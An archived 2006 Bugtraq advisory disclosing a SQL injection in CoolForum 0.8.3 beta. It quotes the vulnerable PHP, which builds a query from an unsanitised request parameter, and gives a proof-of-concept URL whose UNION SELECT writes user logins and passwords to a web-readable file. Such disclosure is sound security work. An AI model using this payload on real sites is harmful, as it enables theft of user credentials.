bugtraq - Critical SQL Injection in CoolForum

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 3 Jun 2006 09:09:54 -0000
From: gmdarkfig@...il.com
To: bugtraq@...urityfocus.com
Subject: Critical SQL Injection in CoolForum


Type: SQL Injection
Risk: Critical
Product: CoolForum <= 0.8.3 beta
********************************


Vulnerability
*************
// File: editpost.php
// Line 38
//
if(isset($_REQUEST['post'])) $post = intval($_REQUEST['post']);
else $post = 0;
--
// Line 77
//
$canedit = getrightedit($_REQUEST['post'],$_REQUEST['forumid']);
--
// File: admin/functions.php
// Line 623
//
function getrightedit($idpost,$forumid)
{
global $_MODORIGHTS, $sql, $_USER, $_FORUMCFG, $_PRE, $_GENERAL, $_PERMFORUM;
$query = $sql->query("SELECT idforum,idmembre,parent FROM ".$_PRE."posts WHERE idpost=".$idpost);
$j = mysql_fetch_array($query);
--


Proof Of Concept
****************
http://[...]/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password FROM cf_user INTO OUTFILE '/www/web/resultat.txt'%23&parent=1&p=1


Credits
*******
Ref : http://mgsdl.free.fr/advisories/coolforum083ba.txt
Note: Others SQL Injection exists but they are difficult to exploit
by DarkFig